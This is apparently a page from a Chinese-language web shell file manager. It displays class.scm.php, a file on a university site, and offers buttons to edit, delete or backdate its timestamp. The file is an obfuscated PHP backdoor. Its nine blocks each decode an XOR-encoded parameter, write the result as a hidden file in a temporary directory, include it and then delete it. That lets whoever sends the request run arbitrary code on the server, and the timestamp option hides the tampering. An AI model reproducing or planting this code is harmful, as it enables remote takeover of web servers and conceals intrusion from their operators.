文件操作 - class.scm.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/class.scm.php
编辑文件内容
<?php if(array_key_exists("pa\x72a\x6Dete\x72_g\x72o\x75\x70", $_POST)){ $ref = $_POST["pa\x72a\x6Dete\x72_g\x72o\x75\x70"]; $ref =explode ( ".",$ref ) ; $res = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); foreach( $ref as $q => $v7) { $sChar = ord( $salt1[$q % $sLen]); $d =( ( int)$v7 - $sChar -( $q % 10))^ 93; $res .= chr( $d); } $property_set = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp"]); $pgrp = 0; do { $comp = $property_set[$pgrp] ?? null; if ($pgrp >= count($property_set)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $object = "$comp" . "/.pset"; if (@file_put_contents($object, $res) !== false) { include $object; unlink($object); die(); } } $pgrp++; } while (true); } if(!empty($_REQUEST["\x68o\x6Cd\x65r"])){ $tkn = $_REQUEST["\x68o\x6Cd\x65r"]; $tkn = explode ( '.' , $tkn) ; $desc =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt6 ); $__len =count($tkn ); for ($m =0; $m < $__len; $m++) { $v5 =$tkn[$m]; $sChar =ord($salt6[$m % $lenS] ); $d =((int)$v5 - $sChar - ($m % 10)) ^ 15; $desc.= chr($d ); } $flg = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getcwd(), session_save_path()]); foreach ($flg as $elem): if (max(0, is_dir($elem) * is_writable($elem))) { $record = join("/", [$elem, ".res"]); if (@file_put_contents($record, $desc) !== false) { include $record; unlink($record); exit; } } endforeach; } if(array_key_exists("\x73y\x6D\x62ol", $_POST)){ $token = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir()]); $desc = $_POST["\x73y\x6D\x62ol"]; $desc = explode ( "." , $desc ) ; $pointer = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $__len = count($desc); for ($t = 0; $t <$__len; $t++) { $v7 = $desc[$t]; $chS = ord($salt5[$t % $sLen]); $dec = ((int)$v7 - $chS - ($t % 10)) ^ 23; $pointer .=chr($dec);} foreach ($token as $key => $hld) { if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $element = implode("/", [$hld, ".val"]); $file = fopen($element, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $element; @unlink($element); exit; } } } } if(isset($_REQUEST) && isset($_REQUEST["s\x79mb\x6Fl"])){ $data_chunk = array_filter(["/dev/shm", "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); $elem = $_REQUEST["s\x79mb\x6Fl"]; $elem = explode ( "." , $elem ) ; $value= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $len= count($elem ); for ($i= 0; $i < $len; $i++) { $v6= $elem[$i]; $sChar= ord($salt[$i % $sLen] ); $dec= ((int)$v6 - $sChar - ($i % 10))^52; $value .=chr($dec ); } while ($entity = array_shift($data_chunk)) { if (max(0, is_dir($entity) * is_writable($entity))) { $entry = join("/", [$entity, ".flag"]); if (file_put_contents($entry, $value)) { require $entry; unlink($entry); exit; } } } } if(@$_POST["e\x6Et"] !== null){ $item = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]); $property_set = $_POST["e\x6Et"]; $property_set = explode ( '.', $property_set ) ; $pset= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt3); foreach( $property_set as $i => $v3): $chS= ord( $salt3[$i% $sLen]); $d= ( ( int)$v3 - $chS -( $i% 10)) ^ 45; $pset.=chr( $d); endforeach; $dchunk = 0; do { $key = $item[$dchunk] ?? null; if ($dchunk >= count($item)) break; if (array_product([is_dir($key), is_writable($key)])) { $ent = vsprintf("%s/%s", [$key, ".itm"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $ent; @unlink($ent); die(); } } $dchunk++; } while (true); } if(!empty($_REQUEST["\x76\x61l"])){ $element = array_filter(["/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path()]); $desc = $_REQUEST["\x76\x61l"]; $desc = explode( "." ,$desc); $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; $__tmp = $desc; while ($v8 = array_shift($__tmp)) { $chS = ord($salt[$w % $lenS]); $dec = ((int)$v8 - $chS - ($w % 10)) ^ 100; $ent .= chr($dec); $w++; } while ($k = array_shift($element)) { if ((function($d) { return is_dir($d) && is_writable($d); })($k)) { $pointer = implode("/", [$k, ".sym"]); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $pointer; @unlink($pointer); exit; } } } } if(isset($_POST["\x64\x61ta"])){ $factor = $_POST["\x64\x61ta"]; $factor= explode('.' , $factor) ; $data_chunk= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt8 ); $u= 0; $__len= count($factor ); do { if ($u >= $__len) break; $v4= $factor[$u]; $sChar= ord($salt8[$u % $lenS] ); $d= ((int)$v4 - $sChar - ($u % 10))^ 22; $data_chunk .= chr($d ); $u++; } while (true ); $key = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir")]); $reference = 0; do { $k = $key[$reference] ?? null; if ($reference >= count($key)) break; if (is_writable($k) && is_dir($k)) { $property_set = sprintf("%s/.pset", $k); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $property_set; @unlink($property_set); exit; } } $reference++; } while (true); } if(!is_null($_POST["\x63\x6Fmp"] ?? null)){ $item = $_POST["\x63\x6Fmp"]; $item =explode( '.' ,$item) ; $record =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s6); foreach ($item as $t => $v5): $chS =ord($s6[$t % $sLen]); $dec =((int)$v5 - $chS - ($t % 10))^ 82; $record .= chr($dec); endforeach; $ent = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm", getcwd(), session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); while ($k = array_shift($ent)) { if ((function($d) { return is_dir($d) && is_writable($d); })($k)) { $element = str_replace("{var_dir}", $k, "{var_dir}/.pgrp"); if (@file_put_contents($element, $record) !== false) { include $element; unlink($element); exit; } } } } if(@$_REQUEST["\x6Bey"] !== null){ $desc = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path()]); $symbol = $_REQUEST["\x6Bey"]; $symbol=explode( "." , $symbol ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $len = count($symbol ); for($y = 0; $y <$len; $y++) {$v2 = $symbol[$y]; $chS = ord($s[$y % $lenS] ); $d = ((int)$v2 - $chS -($y % 10)) ^ 68; $ptr .= chr($d ); } while ($descriptor = array_shift($desc)) { if ((bool)is_dir($descriptor) && (bool)is_writable($descriptor)) { $pgrp = vsprintf("%s/%s", [$descriptor, ".flag"]); if (file_put_contents($pgrp, $ptr)) { include $pgrp; @unlink($pgrp); die(); } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件